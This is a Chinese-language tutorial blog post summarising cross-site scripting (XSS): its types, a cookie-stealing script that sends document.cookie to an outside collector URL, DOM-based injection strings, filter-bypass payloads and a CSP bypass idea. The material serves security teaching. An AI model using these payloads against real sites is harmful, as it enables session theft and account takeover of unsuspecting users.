XSS攻击总结

1.XSS介绍

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的一些信息。

2.XSS的分类

XSS的分类:

1.反射型XSS,相对来说,危害较低,需要用户点击特定的链接才能触发。

2.存储型XSS,该类XSS会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。

3.DOM 型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS。

3.反射型XSS

我们可以通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,然后再保存起来。所以首先需要写一个接收cookie的页面,它能够接收某个参数,然后保存起来。页面写好保存在c:\wamp\www\xss\的目录下,recv_cookies.php这个文件就是用来接收cookie并保存的,源码如下:

在这里插入图片描述
它会把msg参数的值进行url解码后再保存到cookies.txt这个文件里面。

接下来就是构造JS代码来发起一个http请求了。利用Image对象就可以很轻易地完成该任务,新建一个Image对象,然后设置src属性,浏览器在碰到src属性的时候,会自动请求该src指向的url。这个url就写我们刚才写的接收cookie的页面的url,并且传msg参数过去,值为cookie。最终构造的语句为:

<script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>

4.存储型XSS

反射型XSS在利用的时候要求必须访问特定的URL,这在一定程度上有着局限性。但是,存储型XSS却没有这种弊端,存储型XSS的利用代码被保存在数据库中,在用户访问页面的时候,数据从数据库中取出来。所以用户只要访问了存在XSS的页面就会触发恶意代码,而不需要像反射型XSS那样,必须点击构造好的URL才能触发。

存储型XSS一般发生在留言板等地方,因为它需要把用户输入的内容保存到数据库,用户向服务器提交的数据只是一次性的,如果不保存到数据库,数据就会丢失。

5.DOM XSS

除了反射型XSS、存储型XSS,还有一种XSS类型,那就是基于DOM 的XSS,它通过修改页面的DOM节点形成的XSS,所以称为DOM based XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析。

w3c规定innerHTML进来的script标签内的脚本代码无法执行。

直接插入script无法执行,但是我们可以利用事件来触发,比如:onerror,onclick等。

构造如下数据:

' onclick=alert(/xss/) //

还有其他构造方法。例如我们闭合a标签,然后引入另外一个标签,比如img标签,利用img标签在加载src的时候,如果出错会触发onerror函数,我们就可以做到自动执行脚本代码而不需要交互。尝试输入如下数据:

'><img src=123 onerror=alert(/xss/) />

6.XSS普通绕过

原本:

<script>alert(/xss)</script>

大写绕过

<Script>alert(/xss)</Script>

组合条件绕过

<scr<script>ipt>alert(/xss/)</scr</script>ipt>

使用标签

<div οnclick="alert('xss')">或<img src=123 onerror="alert(/xss/)"</img>

使用JavaScript协议

onsubmit=“javascript:alert(/xss/)”

7.XSS之CSP绕过

CSP:实质就是白名单制度,它规定哪些外部资源可以加载和执行。它的实现和执行全部由浏览器完成。资源加载通过”script-src“、”style-src”等选项来限制外部资源的加载。”script-src”限制外部脚本的加载,strict-dynamic特性允许将信任关系传递给由受信任的script动态生成的脚本,忽略了script-src的白名单,使得之后生成的脚本可以执行。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值